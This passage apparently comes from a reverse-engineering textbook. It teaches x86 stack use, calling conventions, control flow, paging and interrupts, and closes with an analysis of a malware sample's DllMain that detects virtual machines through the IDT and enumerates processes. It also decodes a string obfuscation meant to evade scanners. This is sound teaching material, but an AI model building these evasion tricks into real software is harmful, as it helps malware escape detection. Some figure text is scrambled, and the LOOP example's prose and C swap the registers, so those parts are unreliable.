; ESI will contain the value 0xBBBBBBBB and ESP will be 0xb1fffc

; (=0xb1fff8+4)

08: 5F              pop    edi

; EDI will contain the value 0xAAAAAAAA and ESP will be 0xb20000

; (=0xb1fffc+4)

Figure 1-3 illustrates the stack layout.

AAAAAAAA
0xb20000 0xb1fffc

0xb20000

0xb1fff8

0xb1fffc

0xb1fffc

0xb20000

0xb20000

0xb20000
BBBBBBBB

AAAAAAAA

ESP

push eax

ESPESP

ESP ESP

AAAAAAAA

…
…
… …

…

…
…
…
… …

… push ebx

pop edi

po
p e

si

Figure 1-3

ESP can also be directly modifi ed by other instructions, such as ADD and SUB.

While high-level programming languages have the concept of functions that 

can be called and returned from, the processor does not provide such abstrac-

tion. At the lowest level, the processor operates only on concrete objects, such 

as registers or data coming from memory. How are functions translated at the 

machine level? They are implemented through the stack data structure! Consider 

the following function:

C

int
__cdecl addme(short a, short b)
{
    return a+b;
}

Assembly

01: 004113A0 55           push   ebp
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02: 004113A1 8B EC        mov    ebp, esp
03: ...
04: 004113BE 0F BF 45 08  movsx  eax, word ptr [ebp+8]
05: 004113C2 0F BF 4D 0C  movsx  ecx, word ptr [ebp+0Ch]
06: 004113C6 03 C1        add   eax, ecx
07: ...
08: 004113CB 8B E5        mov    esp, ebp
09: 004113CD 5D           pop    ebp
10: 004113CE C3           retn

The function is invoked with the following code:

C

sum = addme(x, y);

Assembly

01: 004129F3 50               push  eax   
02: ...
03: 004129F8 51               push  ecx   
04: 004129F9 E8 F1 E7 FF FF   call  addme 
05: 004129FE 83 C4 08         add   esp, 8

Before going into the details, fi rst consider the CALL/RET instructions and 

calling conventions. The CALL instruction performs two operations:

 1. It pushes the return address (address immediately after the CALL instruc-

tion) on the stack.

 2. It changes EIP to the call destination. This effectively transfers control to 

the call target and begins execution there.

RET simply pops the address stored on the top of the stack into EIP and trans-

fers control to it (literally like a “POP EIP” but such instruction sequence does 

not exist on x86). For example, if you want to begin execution at 0x12345678, 

you can just do the following:

01: 68 78 56 34 12   push  0x12345678
02: C3               ret

A calling convention is a set of rules dictating how function calls work at the 

machine level. It is defi ned by the Application Binary Interface (ABI) for a par-

ticular system. For example, should the parameters be passed through the stack, 

in registers, or both? Should the parameters be passed in from left-to-right or 

right-to-left? Should the return value be stored on the stack, in registers, or both? 

There are many calling conventions, but the popular ones are CDECL, STDCALL, 

THISCALL, and FASTCALL. (The compiler can also generate its own custom call-

ing convention, but those will not be discussed here.) Table 1-2 summarizes 

their semantic.
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Table 1-2: Calling Conventions

CDECL STDCALL FASTCALL

Parameters Pushed on the 

stack from right-

to-left. Caller must 

clean up the stack 

after the call.

Same as CDECL 

except that the 

callee must clean 

the stack.

First two parameters are 

passed in ECX and EDX. The 

rest are on the stack.

Return value Stored in EAX. Stored in EAX. Stored in EAX.

Non-volatile 

registers

EBP, ESP, EBX, 

ESI, EDI.

EBP, ESP, EBX, 

ESI, EDI.

EBP, ESP, EBX, ESI, EDI.

We now return to the code snippet to discuss how the function addme is 

invoked. In line 1 and 3, the two parameters are pushed on the stack; ECX and 

EAX are the fi rst and second parameter, respectively. Line 4 invokes the addme 

function with the CALL instruction. This immediately pushes the return address, 

0x4129FE, on the stack and begins execution at 0x4113A0. Figure 1-4 illustrates 

the stack layout after line 4 is executed.

004129FE
ECX
EAX

…
…

ESP

Figure 1-4

After line 4 executes, we are now in the addme function body. Line 1 pushes 

EBP on the stack. Line 2 sets EBP to the current stack pointer. This two-instruction 

sequence is typically known as the function prologue because it establishes a new 

function frame. Line 4 reads the value at address EBP+8, which is the fi rst param-

eter on the stack; line 5 reads the second parameter. Note that the parameters 

are accessed using EBP as the base register. When used in this context, EBP is 

known as the base frame pointer (see line 2) because it points to the stack frame 

for the current function, and parameters/locals can be accessed relative to it. 

The compiler can also be instructed to generate code that does not use EBP as 

the base frame pointer through an optimization called frame pointer omission. 

With such optimization, access to local variables and parameters is done rela-

tive to ESP, and EBP can be used as a general register like EAX, EBX, ECX, and so 

on. Line 6 adds the numbers and saves the result in EAX. Line 8 sets the stack 

pointer to the base frame pointer. Line 9 pops the saved EBP from line 1 into 
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EBP. This two-instruction sequence is commonly referred to as the function epi-
logue because it is at the end of the function and restores the previous function 

frame. At this point, the top of the stack contains the return address saved by 

the CALL instruction at 0x4129F9. Line 10 performs a RET, which pops the stack 

and resumes execution at 0x4129FE. Line 5 in the snippet shrinks the stack by 

8 because the caller must clean up the stack per CDECL's calling convention.

If the function addme had local variables, the code would need to grow the 

stack by subtracting ESP after line 2. All local variables would then be accessible 

through a negative offset from EBP.

Exercises

 1. Given what you learned about CALL and RET, explain how you would read 

the value of EIP? Why can’t you just do MOV EAX, EIP?

 2. Come up with at least two code sequences to set EIP to 0xAABBCCDD.

 3. In the example function, addme, what would happen if the stack pointer 

were not properly restored before executing RET?

 4. In all of the calling conventions explained, the return value is stored in a 

32-bit register (EAX). What happens when the return value does not fi t in a 

32-bit register? Write a program to experiment and evaluate your answer. 

Does the mechanism change from compiler to compiler?

Control Flow

This section describes how the system implements conditional execution for 

higher-level constructs like if/else, switch/case, and while/for. All of these are 

implemented through the CMP, TEST, JMP, and Jcc instructions and EFLAGS reg-

ister. The following list summarizes the common fl ags in EFLAGS:

 ■ ZF/Zero fl ag—Set if the result of the previous arithmetic operation is zero.

 ■ SF/Sign fl ag—Set to the most signifi cant bit of the result.

 ■ CF/Carry fl ag—Set when the result requires a carry. It applies to unsigned 

numbers.

 ■ OF/Overfl ow fl ag—Set if the result overfl ows the max size. It applies to 

signed numbers.

Arithmetic instructions update these fl ags based on the result. For example, 

the instruction SUB EAX, EAX would cause ZF to be set. The Jcc instructions, 

where “cc” is a conditional code, changes control fl ow depending on these 
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fl ags. There can be up to 16 conditional codes, but the most common ones are 

described in Table 1-3.

Table 1-3: Common Conditional Codes

CONDITIONAL 

CODE ENGLISH DESCRIPTION

MACHINE 

DESCRIPTION

B/NAE Below/Neither Above nor Equal. Used for 

unsigned operations.

CF=1

NB/AE Not Below/Above or Equal. Used for 

unsigned operations.

CF=0

E/Z Equal/Zero ZF=1

NE/NZ Not Equal/Not Zero ZF=0

L Less than/Neither Greater nor Equal. Used 

for signed operations.

(SF ^ OF) = 1

GE/NL Greater or Equal/Not Less than. Used for 

signed operations.

(SF ^ OF) = 0

G/NLE Greater/Not Less nor Equal. Used for 

signed operations.

((SF ^ OF) | ZF) = 0

Because assembly language does not have a defi ned type system, one of the 

few ways to recognize signed/unsigned types is through these conditional codes.

The CMP instruction compares two operands and sets the appropriate condi-

tional code in EFLAGS; it compares two numbers by subtracting one from another 

without updating the result. The TEST instruction does the same thing except 

it performs a logical AND between the two operands.

If-Else

If-else constructs are quite simple to recognize because they involve a compare/

test followed by a Jcc. For example:

Assembly

01:   mov   esi, [ebp+8]
02:   mov   edx, [esi]
03:   test  edx, edx
04:   jz    short loc_4E31F9
05:   mov   ecx, offset _FsRtlFastMutexLookasideList
06:   call  _ExFreeToNPagedLookasideList@8
07:   and   dword ptr [esi], 0
08:   lea   eax, [esi+4]
09:   push  eax
10:   call  _FsRtlUninitializeBaseMcb@4
11: loc_4E31F9:
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12:   pop   esi
13:   pop   ebp
14:   retn  4
15: _FsRtlUninitializeLargeMcb@4 endp

Pseudo C

if (*esi == 0) {
  return;
}
ExFreeToNPagedLookasideList(...);
*esi = 0;
...
return;

OR

if (*esi != 0) {
  ...
  ExFreeToNPagedLookasideList(...);
  *esi = 0;
  ...
}
return;

Line 2 reads a value at location ESI and stores it in EDX. Line 3 ANDs EDX with 

itself and sets the appropriate fl ags in EFLAGS. Note that this pattern is commonly 

used to determine whether a register is zero. Line 4 jumps to loc_4E31F9 (line 12) 

if ZF=1. If ZF=0, then it executes line 5 and continues until the function returns.

Note that there are two slightly different but logically equivalent C transla-

tions for this snippet.

Switch-Case

A switch-case block is a sequence of if/else statements. For example:

Switch-Case

switch(ch) {
    case 'c':
        handle_C();
        break;
    case 'h':
        handle_H();
        break;
    default:
        break;
}
domore();
...
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If-Else

if (ch == 'c') {
    handle_C();
} else
if (ch == 'h') {
    handle_H();
}
domore();
...

Hence, the machine code translation will be a series if/else. The following 

simple example illustrates the idea:

Assembly

01:   push   ebp
02:   mov    ebp, esp
03:   mov    eax, [ebp+8]
04:   sub    eax, 41h
05:   jz     short loc_caseA
06:   dec    eax
07:   jz     short loc_caseB
08:   dec    eax
09:   jz     short loc_caseC
10:   mov    al, 5Ah
11:   movzx  eax, al
12:   pop    ebp
13:   retn
14: loc_caseC: 
15:   mov    al, 43h
16:   movzx  eax, al
17:   pop    ebp
18:   retn
19: loc_caseB: 
20:   mov    al, 42h
21:   movzx  eax, al
22:   pop    ebp
23:   retn
24: loc_caseA:
25:   mov    al, 41h
26:   movzx  eax, al
27:   pop    ebp
28:   retn

C

unsigned char switchme(int a)
{
    unsigned char res;
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    switch(a) {
    case 0x41:
        res = 'A';
        break;
    case 0x42:
        res = 'B';
        break;
    case 0x43:
        res = 'C';
        break;
    default:
        res = 'Z';
        break;
    }
    return res;
}

Real-life switch-case statements can be more complex, and compilers commonly 

build a jump table to reduce the number of comparisons and conditional jumps. 

The jump table is essentially an array of addresses, each pointing to the handler 

for a specifi c case. This pattern can be observed in Sample J in sub_10001110:

Assembly

01:   cmp     edi, 5
02:   ja      short loc_10001141    
03:   jmp     ds:off_100011A4[edi*4]
04: loc_10001125:                   
05:   mov     esi, 40h              
06:   jmp     short loc_10001145
07: loc_1000112C:                   
08:   mov     esi, 20h              
09:   jmp     short loc_10001145
10: loc_10001133:                   
11:   mov     esi, 38h              
12:   jmp     short loc_10001145
13: loc_1000113A:                   
14:   mov     esi, 30h              
15:   jmp     short loc_10001145
16: loc_10001141:                   
17:   mov     esi, [esp+0Ch]    
18: ...
19: off_100011A4 dd offset loc_10001125
20:   dd offset loc_10001125           
21:   dd offset loc_1000113A
22:   dd offset loc_1000112C
23:   dd offset loc_10001133
24:   dd offset loc_1000113A
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Pseudo C

switch(edi) {
  case 0:
  case 1:
    // goto loc_10001125;
    esi = 0x40;
    break;
  case 2:
  case 5:
    // goto loc_1000113A;
    esi = 0x30;
    break;
  case 3:
    // goto loc_1000112C;
    esi = 0x20;
    break;
  case 4:
    // goto loc_10001133;
    esi = 0x38;
    break;
  default:
    // goto loc_10001141;
    esi = *(esp+0xC)
    break;
}
...

Here, the compiler knows that there are only fi ve cases and the case value 

is consecutive; hence, it can construct the jump table and index into it directly 

(line 3). Without the jump table, there would be 10 additional instructions to 

test each case and branch to the handler. (There are other forms of switch/case 

optimizations, but we will not cover them here.)

Loops

At the machine level, loops are implemented using a combination of Jcc and 

JMP instructions. In other words, they are implemented using if/else and goto 

constructs. The best way to understand this is to rewrite a loop using only if/

else and goto. Consider the following example:

Using for

for (int i=0; i<10; i++) {
    printf("%d\n", i);
}
printf("done!\n");
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Using if/else and goto

int i = 0;
loop_start:
    if (i < 10) {
        printf("%d\n", i);
        i++;
        goto loop_start;
    }
printf("done!n");

When compiled, both versions are identical at the machine-code level:

01: 00401002   mov    edi, ds:__imp__printf
02: 00401008   xor    esi, esi
03: 0040100A   lea    ebx, [ebx+0]
04: 00401010 loc_401010:           
05: 00401010   push   esi
06: 00401011   push   offset Format                 ; "%d\n"
07: 00401016   call   edi ; __imp__printf
08: 00401018   inc    esi
09: 00401019   add    esp, 8
10: 0040101C   cmp    esi, 0Ah
11: 0040101F   jl     short loc_401010
12: 00401021   push   offset aDone                  ; "done!\n"
13: 00401026   call   edi ; __imp__printf
14: 00401028   add    esp, 4

Line 1 sets EDI to the printf function. Line 2 sets ESI to 0. Line 4 begins 

the loop; however, note that it does not begin with a comparison. There is no 

comparison here because the compiler knows that the counter was initialized 

to 0 (see line 2) and is obviously going to be less than 10 so it skips the check. 

Lines 5–7 call the printf function with the right parameters (format specifi er 

and our number). Line 8 increments the number. Line 9 cleans up the stack 

because printf uses the CDECL calling convention. Line 10 checks to see if the 

counter is less than 0xA. If it is, it jumps back to loc_401010. If the counter is 

not less than 0xA, it continues execution at line 12 and fi nishes with a printf.

One important observation to make is that the disassembly allowed us to 

infer that the counter is a signed integer. Line 11 uses the “less than” conditional 

code (JL), so we immediately know that the comparison was done on signed 

integers. Remember: If “above/below,” it is unsigned; if “less than/greater than,” 

it is signed. Sample L has a small function, sub_1000AE3B, with the following 

interesting loop:

Assembly

01: sub_1000AE3B proc near
02:   push    edi
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03:   push    esi
04:   call    ds:lstrlenA
05:   mov     edi, eax
06:   xor     ecx, ecx
07:   xor     edx, edx
08:   test    edi, edi
09:   jle     short loc_1000AE5B
10: loc_1000AE4D:
11:   mov     al, [edx+esi]
12:   mov     [ecx+esi], al
13:   add     edx, 3
14:   inc     ecx
15:   cmp     edx, edi
16:   jl      short loc_1000AE4D
17: loc_1000AE5B:
18:   mov     byte ptr [ecx+esi], 0
19:   mov     eax, esi
20:   pop     edi
21:   retn
22: sub_1000AE3B endp

C

char *sub_1000AE3B (char *str)
{
  int len, i=0, j=0;
  len = lstrlenA(str);
  if (len <= 0) {
    str[j] = 0;
    return str;
  }
  while (j < len) {
    str[i] = str[j];
    j = j+3;
    i = i+1;
  }
  str[i] = 0;
  return str;
}

The sub_1000AE3B function has one parameter passed using a custom calling 

convention (ESI holds the parameter). Line 2 saves EDI. Line 3 calls lstrlenA 

with the parameter; hence, you immediately know that ESI is of type char *. 

Line 5 saves the return value (string length) in EDI. Lines 6–7 clear ECX and 

EDX. Lines 8–9 check to see if the string length is less than or equal to zero. If it 

is, control is transferred to line 18, which sets the value at ECX+ESI to 0. If it is 

not, then execution is continued at line 11, which is the start of a loop. First, it 

reads the character at ESI+EDX (line 11), and then it stores it at ESI+ECX (line 12). 
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Next, it increments the EDX and ECX by three and one, respectively. Lines 15–16 

check to see if EDX is less than the string length; if so, execution goes back to 

the loop start. If not, execution is continued at line 18.

It may seem convoluted at fi rst, but this function takes an obfuscated string 

whose deobfuscated value is every third character. For example, the string SX]

OTYFKPTY^W\\aAFKRW\\E is actually SOFTWARE. The purpose of this function 

is to prevent naïve string scanners and evade detection. As an exercise, you 

should decompile this function so that it looks more “natural” (as opposed to 

our literal translation).

Outside of the normal Jcc constructs, certain loops can be implemented using 

the LOOP instruction. The LOOP instruction executes a block of code up to ECX 

time. For example:

Assembly

01: 8B CA         mov    ecx, edx
02:             loc_CFB8F:
03: AD            lodsd
04: F7 D0         not    eax
05: AB            stosd
06: E2 FA         loop   loc_CFB8F

Rough C

while (ecx != 0) {
    eax = *edi;
    edi++;
    *esi = ~eax;
    esi++;
    ecx--;
}

Line 1 reads the counter from EDX. Line 3 is the loop start; it reads in a double-

word at the memory address EDI and saves that in EAX; it also increments EDI 

by 4. Line 4 performs the NOT operator on the value just read. Line 5 writes the 

modifi ed value to the memory address ESI and increments ESI by 4. Line 6 

checks to see if ECX is 0; if not, execution is continued at the loop start.

System Mechanism

The previous sections explain mechanisms and instructions that are available to 

code running at all privilege levels. To get a better appreciation of the architec-

ture, this section discusses two fundamental system-level mechanisms: virtual 
address translation and exception/interrupt handling. You may skip this section on 

a fi rst read.
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Address Translation

The physical memory on a computer system is divided into 4KB units called 

pages. (A page can be more than 4KB, but we will not discuss the other sizes 

here.) Memory addresses are divided into two categories: virtual and physical. 

Virtual addresses are those used by instructions executed in the processor when 

paging is enabled. For example:

01: A1 78 56 34 12  mov   eax, [0x12345678]; read memory at the virtual 

                                           ; address 0x12345678

01: 89 08           mov   [eax], ecx       ; write ECX at the virtual 

                                           ; address EAX

Physical addresses are the actual memory locations used by the processor 

when accessing memory. The processor’s memory management unit (MMU) 

transparently translates every virtual address into a physical address before 

accessing it. While a virtual address may seem like just another number to the 

user, there is a structure to it when viewed by the MMU. On x86 systems with 

physical address extension (PAE) support, a virtual memory address can be 

divided into indices into three tables and offset: page directory pointer table 

(PDPT), page directory (PD), page table (PT), and page table entry (PTE). A PDPT 

is an array of four 8-byte elements, each pointing to a PD. A PD is an array of 

512 8-byte elements, each pointing to a PT. A PT is an array of 512 8-byte ele-

ments each containing a PTE. For example, the virtual address 0xBF80EE6B can 

be understood as shown in Figure 1-5.

10111111 10000000 11101110 01101011

0×BF80EE6B

10 (0×2)

2 bits

Index into PDPT Index into PD Index into PT Page offset

9 bits

111111 100
(0×1FC)

00000 1110 (0×E) 1110 01101011
(0×E6B)

9 bits 12 bits

Figure 1-5

The 8-byte elements in these tables contain data about the tables, memory 

permission, and other memory characteristics. For example, there are bits that 

determine whether the page is read-only or readable/writable, executable or 

non-executable, accessible by user or not, and so on.

The address translation process revolves around these three tables and the 

CR3 register. CR3 holds the physical base address of the PDPT. The rest of this 

section walks through the translation of the virtual address 0xBF80EE6B on a 

real system (refer to Figure 1-5):

kd> r @cr3           ; CR3 is the physical address for the base of a PDPT

cr3=085c01e0

kd> !dq @cr3+2*8 L1  ; read the PDPT entry at index 2

# 85c01f0 00000000`0d66e001
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Per the documentation, the bottom 12 bits of a PDPT entry are fl ags/reserved 

bits, and the remaining ones are used as the physical address of the PD base. 

Bit 63 is the NX fl ag in PAE, so you will also need to clear that as well. In this 

particular example, we did not clear it because it is already 0. (We are looking 

at code pages that are executable.)

; 0x00000000`0d66e001 = 00001101 01100110 11100000 00000001
; after clearing the bottom 12 bits, we have
; 0x0d66e000          = 00001101 01100110 11100000 00000000
; This tells us that the PD base is at physical address 0x0d66e000
kd> !dq 0d66e000+0x1fc*8 L1   ; read the PD entry at index 0x1FC
# d66efe0 00000000`0964b063

Again, per the documentation, the bottom 12 bits of a PD entry are used for 

fl ags/reserved bits, and the remaining ones are used as the base for the PT:

; 0x0964b063 = 00001001 01100100 10110000 01100011
; after clearing the bottom 12 bits, we get
; 0x0964b000 = 00001001 01100100 10110000 00000000
; This tells us that the PT base is at 0x0964b000
kd> !dq 0964b000+e*8 L1      ; read the PT entry at index 0xE
# 964b070 00000000`06694021

Again, the bottom 12 bits can be cleared to get to the base of a page entry:

; 0x06694021 = 00000110 01101001 01000000 00100001

; after clearing bottom 12 bits, we get

; 0x06694000 = 00000110 01101001 01000000 00000000

; This tells us that the page entry base is at 0x06694000

kd> !db 06694000+e6b L8      ; read 8 bytes from the page entry at offset 

0xE6B

# 6694e6b 8b ff 55 8b ec 83 ec 0c ..U.....[).t....    ; our data at that 

                                                      ; physical page

kd> db bf80ee6b L8           ; read 8 bytes from the virtual address

bf80ee6b  8b ff 55 8b ec 83 ec ..U.....[).t....       ; same data!

After the entire process, it is determined that the virtual address 0xBF80EE6B 

translates to the physical address 0x6694E6B.

Modern operating systems implement process address space separation using 

this mechanism. Every process is associated with a different CR3, resulting in 

process-specifi c virtual address translation. It is the magic behind each pro-

cess’s illusion that it has its own address space. Hopefully you will have more 

appreciation for the processor the next time your program accesses memory!

Interrupts and Exceptions

This section briefl y discusses interrupts and exceptions, as complete implemen-

tation details can be found in Chapter 3, “The Windows Kernel.”

In contemporary computing systems, the processor is typically connected to 

peripheral devices through a data bus such as PCI Express, FireWire, or USB. 
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When a device requires the processor’s attention, it causes an interrupt that 

forces the processor to pause whatever it is doing and handle the device’s request. 

How does the processor know how to handle the request? At the highest level, 

one can think of an interrupt as being associated with a number that is then 

used to index into an array of function pointers. When the processor receives 

the interrupt, it executes the function at the index associated with the interrupt 

and resumes execution at wherever it was before the interrupt occurred. These 

are called hardware interrupts because they are generated by hardware devices. 

They are asynchronous by nature.

When the processor is executing an instruction, it may run into exceptions. 

For example, an instruction could generate a divide-by-zero error, reference an 

invalid address, or trigger a privilege level transition. For the purpose of this 

discussion, exceptions can be classifi ed into two categories: faults and traps. A 

fault is a correctable exception. For example, when the processor executes an 

instruction that references a valid memory address but the data is not present 

in main memory (it was paged out), a page fault exception is generated. The 

processor handles this by saving the current execution state, calling the page 

fault handler to correct this exception (by paging in the data), and re-executing 

the same instruction (which should no longer cause a page fault). A trap is an 

exception caused by executing special kinds of instructions. For example, the 

instruction SYSENTER causes the processor to begin executing the generic system 

call handler; after the handler is done, execution is resumed at the instruction 

immediately after SYSENTER. Hence, the major difference between a fault and 

a trap is where execution resumes. Operating systems commonly implement 

system calls through the interrupt and exception mechanism.

Walk-Through

We fi nish the chapter with a walk-through of a function with fewer than 100 

instructions. It is Sample J’s DllMain routine. This exercise has two objectives. 

First, it applies almost every concept covered in the chapter (except for switch-

case). Second, it teaches an important requirement in the practice of reverse 

engineering: reading technical manuals and online documentation. Here is 

the function:

01:    ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, 

       ; LPVOID lpvReserved)

02:                _DllMain@12 proc near                 

03: 55               push    ebp

04: 8B EC            mov     ebp, esp

05: 81 EC 30 01 00+  sub     esp, 130h

06: 57               push    edi

07: 0F 01 4D F8      sidt    fword ptr [ebp-8]

08: 8B 45 FA         mov     eax, [ebp-6]

09: 3D 00 F4 03 80   cmp     eax, 8003F400h
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10: 76 10            jbe     short loc_10001C88 (line 18)

11: 3D 00 74 04 80   cmp     eax, 80047400h

12: 73 09            jnb     short loc_10001C88 (line 18)

13: 33 C0            xor     eax, eax

14: 5F               pop     edi

15: 8B E5            mov     esp, ebp

16: 5D               pop     ebp

17: C2 0C 00         retn    0Ch

18:                loc_10001C88:                         

19: 33 C0            xor     eax, eax

20: B9 49 00 00 00   mov     ecx, 49h

21: 8D BD D4 FE FF+  lea     edi, [ebp-12Ch]

22: C7 85 D0 FE FF+  mov     dword ptr [ebp-130h], 0

23: 50               push    eax                   

24: 6A 02            push    2

25: F3 AB            rep stosd

26: E8 2D 2F 00 00   call    CreateToolhelp32Snapshot

27: 8B F8            mov     edi, eax

28: 83 FF FF         cmp     edi, 0FFFFFFFFh

29: 75 09            jnz     short loc_10001CB9 (line 35)

30: 33 C0            xor     eax, eax

31: 5F               pop     edi

32: 8B E5            mov     esp, ebp

33: 5D               pop     ebp

34: C2 0C 00         retn    0Ch

35:                loc_10001CB9:

36: 8D 85 D0 FE FF+  lea     eax, [ebp-130h]

37: 56               push    esi

38: 50               push    eax 

39: 57               push    edi

40: C7 85 D0 FE FF+  mov     dword ptr [ebp-130h], 128h

41: E8 FF 2E 00 00   call    Process32First

42: 85 C0            test    eax, eax

43: 74 4F            jz      short loc_10001D24 (line 70)

44: 8B 35 C0 50 00+  mov     esi, ds:_stricmp

45: 8D 8D F4 FE FF+  lea     ecx, [ebp-10Ch]

46: 68 50 7C 00 10   push    10007C50h

47: 51               push    ecx

48: FF D6            call    esi ; _stricmp

49: 83 C4 08         add     esp, 8

50: 85 C0            test    eax, eax

51: 74 26            jz      short loc_10001D16 (line 66)

52:                loc_10001CF0:

53: 8D 95 D0 FE FF+  lea     edx, [ebp-130h]

54: 52               push    edx

55: 57               push    edi 

56: E8 CD 2E 00 00   call    Process32Next

57: 85 C0            test    eax, eax

58: 74 23            jz      short loc_10001D24 (line 70)

59: 8D 85 F4 FE FF+  lea     eax, [ebp-10Ch]

60: 68 50 7C 00 10   push    10007C50h

61: 50               push    eax 

62: FF D6            call    esi ; _stricmp

63: 83 C4 08         add     esp, 8
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64: 85 C0            test    eax, eax

65: 75 DA            jnz     short loc_10001CF0 (line 52)

66:                loc_10001D16:

67: 8B 85 E8 FE FF+  mov     eax, [ebp-118h]

68: 8B 8D D8 FE FF+  mov     ecx, [ebp-128h]

69: EB 06            jmp     short loc_10001D2A (line 73)

70:                loc_10001D24: 

71: 8B 45 0C         mov     eax, [ebp+0Ch]

72: 8B 4D 0C         mov     ecx, [ebp+0Ch]

73:                loc_10001D2A: 

74: 3B C1            cmp     eax, ecx

75: 5E               pop     esi

76: 75 09            jnz     short loc_10001D38 (line 82)

77: 33 C0            xor     eax, eax

78: 5F               pop     edi

79: 8B E5            mov     esp, ebp

80: 5D               pop     ebp

81: C2 0C 00         retn    0Ch

82:                loc_10001D38:

83: 8B 45 0C         mov     eax, [ebp+0Ch]

84: 48               dec     eax

85: 75 15            jnz     short loc_10001D53 (line 93)

86: 6A 00            push    0 

87: 6A 00            push    0 

88: 6A 00            push    0 

89: 68 D0 32 00 10   push    100032D0h 

90: 6A 00            push    0 

91: 6A 00            push    0 

92: FF 15 20 50 00+  call    ds:CreateThread

93:                loc_10001D53: 

94: B8 01 00 00 00   mov     eax, 1

95: 5F               pop     edi

96: 8B E5            mov     esp, ebp

97: 5D               pop     ebp

98: C2 0C 00         retn    0Ch

99:                _DllMain@12 endp

Lines 3–4 set up the function prologue, which saves the previous base frame 

pointer and establishes a new one. Line 5 reserves 0x130 bytes of stack space. 

Line 6 saves EDI. Line 7 executes the SIDT instruction, which writes the 6-byte 

IDT register to a specifi ed memory region. Line 8 reads a double-word at EBP-6 

and saves it in EAX. Lines 9–10 check if EAX is below-or-equal to 0x8003F400. If it 

is, execution is transferred to line 18; otherwise, it continues executing at line 11. 

Lines 11–12 do a similar check except that the condition is not-below 0x80047400. 

If it is, execution is transferred to line 18; otherwise, it continues executing at 

line 13. Line 13 clears EAX. Line 14 restores the saved EDI register in line 6. Lines 

15–16 restore the previous base frame and stack pointer. Line 17 adds 0xC bytes 

to the stack pointer and then returns to the caller.

Before discussing the next area, note a few things about these fi rst 17 lines. 

The SIDT instruction (line 7) writes the content of the IDT register to a 6-byte 
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memory location. What is the IDT register? The Intel/AMD reference manual 

states that IDT is an array of 256 8-byte entries, each containing a pointer to an 

interrupt handler, segment selector, and offset. When an interrupt or exception 

occurs, the processor uses the interrupt number as an index into the IDT and 

calls the entry’s specifi ed handler. The IDT register is a 6-byte register; the top 

4 bytes contain the base of the IDT array/table and the bottom 2 bytes store the 

table limit. With this in mind, you now know that line 8 is actually reading the 

IDT base address. Lines 9 and 11 check whether the base address is in the range 

(0x8003F400, 0x80047400). What is special about these seemingly random con-

stants? If you search the Internet, you will note that 0x8003F400 is an IDT base 

address on Windows XP on x86. This can be verifi ed in the kernel debugger:

0: kd> vertarget

Windows XP Kernel Version 2600 (Service Pack 3) MP (2 procs) Free x86 compat-

ible

Built by: 2600.xpsp.080413-2111

…

0: kd> r @idtr

idtr=8003f400

0: kd> ~1

1: kd> r @idtr

idtr=bab3c590

Why does the code check for this behavior? One possible explanation is that the 

developer assumed that an IDT base address falling in that range is considered 

“invalid” or may be the result of being virtualized. The function automatically 

returns zero if the IDTR is “invalid.” You can decompile this code to C as follows:

typedef struct _IDTR {

    DWORD base;

    SHORT limit;

} IDTR, *PIDTR;

BOOL __stdcall DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvRe-

served)

{

    IDTR idtr;

    __sidt(&idtr);

    if (idtr.base > 0x8003F400 && idtr.base < 0x80047400h) { return FALSE; }

    //line 18

    ...

}

N O T E  If you read the manual closely, you’ll note that each processor has its own 

IDT and hence IDTR. Therefore, on a multi-core system, IDTR will be diff erent for each 

core. Clearly, 0x8003F400 is valid only for core 0 on Windows XP. If the instruction 

were to be scheduled to run on another core, the IDTR would be 0xBAB3C590. On later 

versions of Windows, the IDT base addresses change between reboots; hence, the 

practice of hardcoding base addresses will not work.
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If the IDT base seems valid, the code continues execution at line 18. Lines 

19–20 clear EAX and set ECX to 0x49. Line 21 uses sets EDI to whatever EBP-0x12C 

is; since EBP is the base frame pointer, EBP-0x12C is the address of a local vari-

able. Line 22 writes zero at the location pointed to by EBP-0x130. Lines 23–24 

push EAX and 2 on the stack. Line 25 zeroes a 0x124-byte buffer starting from 

EBP-0x12C. Line 26 calls CreateToolhelp32Snapshot:

HANDLE WINAPI CreateToolhelp32Snapshot(
  _In_  DWORD dwFlags,
  _In_  DWORD th32ProcessID
);

This Win32 API function takes two integer parameters. As a general rule, 

Win32 API functions follow STDCALL calling convention. Hence, the dwFlags 

and th32ProcessId parameters are 0x2 (line 24) and 0x0 (line 23). This func-

tion enumerates all processes on the system and returns a handle to be used in 

Process32Next. Lines 27–28 save the return value in EDI and check if it is -1. If 

it is, the return value is set to 0 and it returns (lines 30–34); otherwise, execution 

continues at line 35. Line 36 sets EAX to the address of the local variable previ-

ously initialized to 0 in line 22; line 40 initializes it to 0x128. Lines 37–39 push 

ESI, EAX, and EDI on the stack. Line 41 calls Process32First:

Function prototype

BOOL WINAPI Process32First(
  _In_     HANDLE hSnapshot,
  _Inout_  LPPROCESSENTRY32 lppe
);

Relevant structure defi nition

typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  TCHAR     szExeFile[MAX_PATH];
} PROCESSENTRY32, *PPROCESSENTRY32;

00000000 PROCESSENTRY32 struc ; (sizeof=0x128)
00000000 dwSize dd ?
00000004 cntUsage dd ?
00000008 th32ProcessID dd ?
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0000000C th32DefaultHeapID dd ?
00000010 th32ModuleID dd ?
00000014 cntThreads dd ?
00000018 th32ParentProcessID dd ?
0000001C pcPriClassBase dd ?
00000020 dwFlags dd ?
00000024 szExeFile db 260 dup(?)
00000128 PROCESSENTRY32 ends

Because this API takes two parameters, hSnapshot is EDI (line 39, previously 

the returned handle from CreateToolhelp32Snapshot in line 27), and lppe is the 

address of a local variable (EBP-0x130). Because lppe points to a PROCESSENTRY32 

structure, we immediately know that the local variable at EBP-0x130 is of the 

same type. It also makes sense because the documentation for Process32First 

states that before calling the function, the dwSize fi eld must be set to the size 

of a PROCESSENTRY32 structure (which is 0x128). We now know that lines 19–25 

were simply initializing this structure to 0. In addition, we can say that this 

local variable starts at EBP-0x130 and ends at EBP-0x8.

Line 42 tests the return value of Process32Next. If it is zero, execution begins at 

line 70; otherwise, it continues at line 43. Line 44 saves the address of the stricmp 

function in ESI. Line 45 sets ECX to the address of a local variable (EBP-0x10C), 

which happens to be a fi eld in PROCESSENTRY32 (see the previous paragraph). 

Lines 46–48 push 0x10007C50/ECX on the stack and call stricmp. We know 
